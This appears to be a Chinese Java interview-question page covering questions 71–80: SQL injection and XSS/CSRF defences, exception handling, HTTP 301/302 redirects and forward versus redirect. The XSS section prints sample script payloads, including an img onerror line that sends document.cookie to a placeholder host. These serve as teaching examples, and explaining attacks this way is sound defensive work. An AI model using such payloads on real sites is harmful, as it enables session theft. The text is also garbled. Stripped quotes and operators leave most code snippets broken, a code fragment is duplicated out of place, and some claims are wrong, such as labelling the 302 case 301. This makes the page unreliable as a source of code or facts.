公司动态

206面试题(71~80)

📅 2026/7/22 16:29:52
206面试题(71~80)
208道Java面试题文章目录**208道Java面试题****71. 如何避免 SQL 注入****72. 什么是 XSS 攻击如何避免****73. 什么是 CSRF 攻击如何避免****74. throw 和 throws 的区别****75. final、finally、finalize 有什么区别****76. try-catch-finally 中哪个部分可以省略****77. try-catch-finally 中如果 catch 中 return 了finally 还会执行吗****78. 常见的异常类有哪些****79. http 响应码 301 和 302 代表的是什么有什么区别****80. forward 和 redirect 的区别**71. 如何避免 SQL 注入Java中的SQL注入是一种常见的网络攻击技术攻击者通过在应用程序的输入字段中输入恶意的SQL代码来破坏或操纵后端数据库的行为。这种攻击可以导致数据泄露、数据损坏甚至整个应用程序的崩溃。SQL注入的原理SQL注入通常发生在应用程序将用户输入直接拼接到SQL查询语句中时而没有对输入进行适当的验证或转义。例如一个应用程序可能允许用户通过输入字段来指定查询条件如果这个输入没有被适当地处理那么用户输入的恶意SQL代码就会被执行。防止SQL注入的措施1、使用预处理语句Prepare Statements预处理语句确保所有的输入都会被当作数据处理而不是SQL代码的一部分。使用PreparedStatement类可以提前编译SQL语句并使用参数占用符?来代表输入的变量。无论用户输入什么数据都会被当作字符串处理而不是SQL语句。importjava.sql.Connection;importjava.sql.PreparedStatement;importjava.sql.SQLException;publicclassSqlInjectionExample{publicvoidsearchById(Connectionconnection,intid)throwsSQLException{StringquerySELECT * FROM users WHERE id ?;PreparedStatementpreparedStatementconnection.prepareStatement(query);preparedStatement.setInt(1,id);ResultSetresultSetpreparedStatement.executeQuery();// 处理结果集}}2、输入验证在将用户输入内容应用于SQL查询之前对输入进行验证确保它们符合预期的格式。可以使用正则表达式或其他验证机制来实现。3、使用ORM框架Object-Relatinal MappingORM框架如HIbernateJPA等提供了内置的防止SQL注入的机制。它们使用映射规则将Java对象与数据库表相关联并自动生成安全的SQL查询。4、参数化查询参数化查询是一种将数据作为参数传递给SQL语句的方法而不是直接将它们嵌入到语句中。这可以确保用户输入不会被解释为SQL代码。5、限制数据库权限确保应用程序的数据库账户只有必要的权限这样即使发生SQL注入攻击者也不能执行DROP TABLE或其他破坏性操作。6、使用Web应用防火墙WAFWeb应用防火墙可以检测和阻止SQL注入攻击。它们通常具有预配置的规则可以识别和过滤恶意输入。7、安全编码实践遵循安全编码实践使用专业的代码审计工具来检测潜在的安全漏洞。72. 什么是 XSS 攻击如何避免XSS攻击就是跨站脚本攻击Cross Site Scripting是Web程序中常见的漏洞。XSS攻击原理在web页面里插入恶意的 HTML 代码Javascript、css、html 标签等当用户浏览该页面时嵌入其中的 HTML 代码会被执行从而达到恶意攻击用户的目的。如盗取用户 cookie 执行一系列操作破坏页面结构、重定向到其他网站等。XSS攻击的类型1、DOM Bassed XSS基于网页DOM结构的攻击。例子input标签 Value 属性赋值。//jspinput typetextvalue% getParameter(content) %访问http://xxx.xxx.xxx/search?contentscriptalert(XSS);/script//弹出 XSS 字样http://xxx.xxx.xxx/search?contentscriptwindow.open(xxx.aaa.xxx?paramdocument.cookie)/script//把当前页面的 cookie 发送到 xxxx.aaa.xxx 网站利用a标签的href属性的赋值。//jspa hrefescape(% getParameter(newUrl) %)跳转.../a访问http://xxx.xxx.xxx?newUrljavascript:alert(XSS)//点击 a 标签就会弹出 XSS 字样变换大小写 http://xxx.xxx.xxx?newUrlJAvaScript:alert(XSS)//点击 a 标签就会弹出 XSS 字样加空格 http://xxx.xxx.xxx?newUrlJavaScript:alert(XSS)//点击 a 标签就会弹出 XSS 字样image 标签src属性onload,onerror,onclick事件中注入恶意代码。img srcxxx.xxx onerrorjavascript:window.open(http://aaa.xxx?paramdocument.cookie)/2、Stored XSS存储式XSS漏洞。form actionsave.doinput namecontentvalue/form输入 提交当别人访问到这个页面时就会把页面的 cookie 提交到 xxx.aaa.xxx攻击者就可以获取到 cookie。预防思路web页面中可由用户输入的地方对输入的数据转义过滤处理。后台输出页面的时候也需要对输出内容进行转义、过滤处理因为攻击者可能通过其他方式把恶意脚本写入数据库。前端对 html 标签属性、css 属性赋值的地方进行校验。73. 什么是 CSRF 攻击如何避免CSRFCross-Site Request Forgery跨站请求伪造。也被称为one-click attack或session riding是一种网络攻击方式。它利用用户在当前已登录的Web应用程序上执行非本意的操作攻击者通过盗用用户的登录信息以用户的身份模拟发送各种请求。这些请求对服务器来说是合法的但实际上是完成了攻击者所期望的操作。CSRF攻击原理用户打开浏览器访问受信任网站A输入用户名和密码请求登录网站A。在用户信息通过验证后网站A产生Cookie信息并返回给浏览器此时用户登录网站成功可以正常发送请求到网站。用户未退出网站A之前在同一浏览器中打开一个TAB页访问网站B攻击者构建的恶意网站。网站B接收到用户请求后返回一些攻击性代码并发出一个请求要求访问第三方站点A。浏览器在接收到这些攻击性代码后根据网站B的请求在用户不知情的情况下携带Cookie信息向网站A发出请求。网站A并不知道该请求其实是由B发起的所以会根据用户C的Cookie信息以C的权限处理该请求导致来自网站B的恶意代码被执行。避免CSRF攻击的方法1、验证HTTP Referer字段Referer是HTTP请求头中的一个字段记录了该HTTP请求的来源地址。通过验证Referer字段可以确保请求确实是从合法来源发出的。然而需要注意的是Referer字段可以被伪造或禁用 因此这种方法并不是完全可靠的。2、使用Same Site CookieSameSite是Cookie的一个属性用于限制Cookie的跨站访问。通过设置SameSite属性为Strict或Lax可以限制Cookie在跨站请求时的发送。这种方法可以有效降低CSRF攻击的风险但需要注意的是部分较老的浏览器可能不支持SameSite属性。3、在HTTP头中定义自定义属性并验证在HTTP请求中自定义属性如Test并进行验证。服务器在生成响应时可以包含一个随机生成的Token并在后续的请求中要求客户端携带该Token。服务器在收到请求后会验证Token的有效性以确保请求是由合法用户发出的。4、使用CSRF Token令牌CSRF Token是一种更为常见的防御方法。服务器在生成页面时会嵌入一个随机生成的Token并在表单提交时要求客户端携带该Token。服务器在收到请求后会验证Token的有效性如果Token不匹配或不存在则拒绝请求。这种方法可以有效防止CSRF攻击因为攻击者无法伪造有效的Token。5、限制GET请求的使用GET请求通常用于数据检索不应该用于修改服务器上的数据。因此应该限制GET请求的使用范围并确保所有可能修改数据的操作都使用POST或其他安全的HTTP方法。6、使用HTTPS虽然HTTPS本身并不能直接防止CSRF攻击但它可以提供更安全的通信环境减少中间人攻击的风险从而间接提高Web应用程序的安全性。7、同源策略现代浏览器实施了同源策略限制了不同源域名、协议、端口之间的交互。确保关键操作只能在同一域名下进行可以有效防止CSRF攻击。8、使用验证码对于敏感操作可以要求用户数额u验证码进行验证。增加了攻击者伪造合法请求的难度从而提高了系统程序的安全性。9、设置短期有效的Cookie将用户的身份验证信息存储在短期有效的Cookie中这样即使Cookie被盗用有效期也相对较短减少了被盗用的风险。10、防御点击劫持通过在响应头中添加X-Frame-Options限制页面的嵌入方式。这样可以防止攻击者通过点击劫持等手段诱导用户执行非授权操作。74. throw 和 throws 的区别1、用法区别throw作用throw是一个关键字用于在方法体内部抛出一个具体的异常对象。当程序执行到throw语句时会立即停止当前方法的执行并将控制权交给该方法的调用者同时传递异常对象。作用域throw只能用在方法体内可以作为独立的语句使用。实例throw new IllegalArgumentException(“参数不合法”);throws作用throws是一个关键字用于在方法声明时声明该方法可能会抛出的异常类型。它并不创建异常对象而是告诉方法的调用者该方法可能会抛出哪些类型的异常调用者需要对此进行处理通过try-catch语句或继续向上抛出。作用域throws必须跟在方法参数列表之后方法体之前且不能单独使用。实例public void readFile(String fileName) throws FileNotFoundException{方法体}2、语义区别throw表示一个具体的动作就是抛出一个异常对象。执行到throw语句时会立即终止当前方法的执行流程。throws表示一种可能。表示该方法在执行过程中可能会遇到某些类型的异常但并不一定会抛出这些异常。它是一种声明机制用于告知方法的调用者需要处理哪些可能的异常。3、异常处理上的区别throw抛出的是具体的异常对象因此可以包含异常的具体信息如错误消息、堆栈跟踪等。抛出异常后通常需要在调用者处使用try-catch语句进行捕获和处理或者继续向上抛出。throws声明的是异常类型而不是具体的异常对象。调用者需要对声明的异常类型进行处理可以通过try-catch语句捕获并处理或者通过throws继续向上声明。4、使用场景throw当方法内部发生了某个具体的错误且该错误无法通过当前方法内部的逻辑进行恢复时可以使用throw抛出异常让调用者知道发生了什么问题。throws当方法可能会因为某些外部因素如文件不存在、网络错误等而失败时可以使用throws声明这些可能的异常以便调用者能够提前了解并准备相应的处理逻辑。5、注意事项throws可以声明多个异常类型异常类型之间用逗号分隔。throw抛出的异常对象必须是Throwable或其子类的实例。在使用throws声明异常时应该尽量声明具体的异常类型而不是笼统地声明为Exception或Throwable这有助于调用者更准确地了解异常的性质和处理方式。75. final、finally、finalize 有什么区别性质区别final关键字。finalize()方法。finally区块标志用于try语句中。作用区别final用于标识常量的关键字,final标识的关键字存储在常量池中。finalize()finalize()方法在Object中进行了定义,用于在对象“消失”时,由JVM进行调用用于对对象 进行垃圾回收。finally{}用于标识代码块,与try{ }进行配合,不论try中的代码执行完或没有执行完(这里指有异常),该代码块之中的程序必定会进行 .final的用法被final修饰的类不可以被继承。被final修饰的方法不能被重写。被final修饰的变量不能呗改变。如果修饰引用,那么表示引用不可变,引用指向的内容可变。被final显示的方法VM会尝试将其内联,以提高运行效率被final修饰的常量,在编译阶段会存入常量池中。finally的用法在异常处理中的使用的不管 try 语句块正常结束还是异常结束,finally 语句块是保证要执行的。如果 try 语句块正常结束,那么在 try 语句块中的语句都执行完之后,再执行 finally 语句块。当try和catch中有return时,finally仍然会执行; finally是在return后面的表达式运算后执行的。finalize的用法finalize() 是Java中Object的一个protected方法.返回值为空,当该对象被垃圾回收器回收时,会调用该方法。finalize()函数finalize不等价于c中的析构函数。对象可能不被垃圾回收器回收。垃圾回收不等于析构。垃圾回收只与内存有关。垃圾回收和finalize()都是靠不住的,只要JVM还没有快到耗尽内存的地步,它是不会浪费时间进行垃圾回收的。程序强制终结后,那些失去引用的对象将会被垃圾回收.(System.gc())。76. try-catch-finally 中哪个部分可以省略try必须和catch或finally中连用一个。try-catchpublicclassTryCatchExample{publicstaticvoidmain(String[]args){try{// 尝试执行的代码块intresult10/0;// 这将引发一个ArithmeticException因为不能除以零System.out.println(结果是: result);}catch(ArithmeticExceptione){// 当try块中的代码引发ArithmeticException时执行的代码块System.out.println(捕获到异常: 不能除以零);// 可以在这里处理异常比如记录日志、给用户显示错误信息等}// 这里的代码将继续执行即使try块中发生了异常并且被catch块捕获System.out.println(程序继续执行...);}}try-finallypublicclassTryFinallyExample{publicstaticvoidmain(String[]args){FileInputStreamfileInputnull;try{// 尝试打开文件并读取数据fileInputnewFileInputStream(example.txt);intdatafileInput.read();while(data!-1){System.out.print((char)data);datafileInput.read();}}finally{// 无论是否发生异常都会执行finally块中的代码if(fileInput!null){try{fileInput.close();// 关闭文件输入流}catch(IOExceptione){// 处理关闭文件时的异常System.out.println(关闭文件时发生错误: e.getMessage());}}System.out.println(文件操作完成资源已释放。);}}}try-catch-finallypublicclassTryCatchFinallyExample{publicstaticvoidmain(String[]args){FileReaderfileReadernull;try{// 尝试打开文件fileReadernewFileReader(example.txt);intdata;while((datafileReader.read())!-1){// 读取文件内容并打印到控制台System.out.print((char)data);}}catch(FileNotFoundExceptione){// 捕获并处理文件未找到异常System.out.println(文件未找到: e.getMessage());}catch(IOExceptione){// 捕获并处理其他I/O异常System.out.println(读取文件时发生错误: e.getMessage());}finally{// 无论是否发生异常都会执行finally块中的代码if(fileReader!null){try{fileReader.close();// 关闭文件读取器以释放资源}catch(IOExceptione){// 处理关闭文件时的异常System.out.println(关闭文件时发生错误: e.getMessage());// 注意在实际应用中通常不建议在finally块中抛出或重新抛出异常// 因为这可能会隐藏原始异常信息。这里仅为了演示如何处理关闭时的异常。}}System.out.println(文件操作完成资源已释放或尝试释放。);}}}77. try-catch-finally 中如果 catch 中 return 了finally 还会执行吗是的。即使catch块中执行了return语句finally块仍然会执行。finally块是异常处理的最后阶段它通常用于清理资源比如关闭文件流、释放锁或者关闭数据库连接等。无论是否发生异常无论try块还是catch块中的代码是否正常执行或者提前退出通过return语句实现退出finally块总是会执行。例子publicclassFinallyExample{publicstaticvoidmain(String[]args){try{// 可能会抛出异常的代码System.out.println(In try block);thrownewException(Exception in try block);}catch(Exceptione){// 处理异常的代码System.out.println(In catch block);return;// 即使这里返回finally块仍然会执行}finally{// 无论是否发生异常都会执行的代码System.out.println(In finally block);}}}注意在这个例子中即使catch使用了return语句控制台仍然会输出“In finally block”。但是如果在finally中使用了return语句。则finally中的return语句会覆盖try和catch块中的return。这意味着最终方法返回的是finally块中的返回值。78. 常见的异常类有哪些常见的编译时异常SQLException提供有关数据库访问错误或其他错误的信息的异常。如SQL语句错误无表等。IOexception表示发生了某种I / O异常的信号。此类是由失败或中断的I / O操作产生的一般异常类。FileNotFoundException当试图打开指定路径名表示的文件失败时抛出此异常。IOexception的子类。这里的找不到是在你的编译结果文件夹里面找不到而不是在你的工程里面找不到。ClassNotFoundException找不到具有指定名称的类的定义。EOFException当输入过程中意外到达文件或流的末尾时抛出此异常。IOexception的子类。常见的运行时异常StringIndexOutOfBoundsException 指示某排序索引例如对数组、字符串或向量的排序超出范围时抛出。ArrayIndexOutOfBoundsException 用非法索引访问数组时抛出的异常。如果索引为负或大于等于数组大小则该索引为非法索引。ArithmeticException 当出现异常的运算条件时抛出此异常。如除以零IllegaArguementException 抛出的异常表明向方法传递了一个不合法或不正确的参数。NullPointerException当应用程序试图在需要对象的地方使用 null 时抛出该异常。79. http 响应码 301 和 302 代表的是什么有什么区别HTTP响应301和302是用于进行HTTP重定向的状态码。HTTP 301 Moved Permanently永久重定向当服务器返回HTTP 301状态码时表示请求的资源已经被永久移动到新的位置。客户端在接收到这个响应后应该更新所有引用该资源的链接。搜索引擎也会把链接权重从原始 URL 转移到新的 URL。Http 302 Found(临时重定向)当服务器返回HTTP 302状态码时表示请求的资源临时被移动到新的位置。客户端在接收到这个响应后通常应该使用新的 URL 进行后续的请求。搜索引擎在处理这种情况时不会更新链接的权重。区别永久重定向301表示请求的资源已经永久移动到新的位置。客户端在接收到 301 后应该更新所有引用该资源的链接。浏览器会缓存这个重定向之后直接访问原始 URL 时会自动跳转到新的 URL。临时重定向301表示请求的资源临时被移动到新的位置。客户端在接收到 302 后通常应该使用新的 URL 进行后续的请求。浏览器不会缓存这个重定向之后访问原始 URL 时仍会请求原始位置。代码举例说明importorg.springframework.stereotype.Controller;importorg.springframework.web.bind.annotation.GetMapping;importorg.springframework.web.bind.annotation.ResponseStatus;importorg.springframework.http.HttpStatus;ControllerpublicclassRedirectController{GetMapping(/redirect301)ResponseStatus(HttpStatus.MOVED_PERMANENTLY)publicStringredirect301(){returnredirect:/new-url;}GetMapping(/redirect302)ResponseStatus(HttpStatus.FOUND)publicStringredirect302(){returnredirect:/new-url;}}tatus.FOUND)public String redirect302() {return “redirect:/new-url”;}}redirect301方法返回 HTTP 301而 redirect302方法返回 HTTP 302。这些方法使用了 Spring 的注解 ResponseStatus来指定返回的 HTTP 状态码。80. forward 和 redirect 的区别forward和redirectforwardforward又叫转发表示转发。当请求到来时可以将请求转发到其他的指定服务用户端不知道。redirectredirect表示转发当请求发给A服务时服务A返回重定向给客户端客户端再去请求B服务。forward使用注意转发和被转发的请求类型必须一致即全是GET或者POST。转发者方法不能被标识位RestController或者ResponseBody。redirect使用注意redirect不支持post请求.redirect需要携带请求参数需要在url地址中进行编码防止中文乱码。forward、redirect区别1、地址栏​forword是服务器内部的重定向服务器直接访问目标地址的 url网址把里面的东西读取出来但是客户端并不知道因此用forward的话客户端浏览器的网址是不会发生变化的。​redirect是服务器根据逻辑发送一个状态码告诉浏览器重新去请求那个地址所以地址栏显示的是新的地址。2、数据分享​由于在整个定向的过程中用的是同一个request因此forward会将request的信息带到被重定向的jsp或者 servlet中使用。即可以共享数据。redirect不能共享数据。3、使用场景​forword 一般用于用户登录的时候根据角色转发到相应的模块。​redirect一般用于用户注销登录时返回主页面或者跳转到 其他网站。4、效率forward效率较高。redirect效率较低。5、本质forward转发时服务器上的行为。redirect重定向时客户端的行为。6、请求次数forward一次。redirect两次。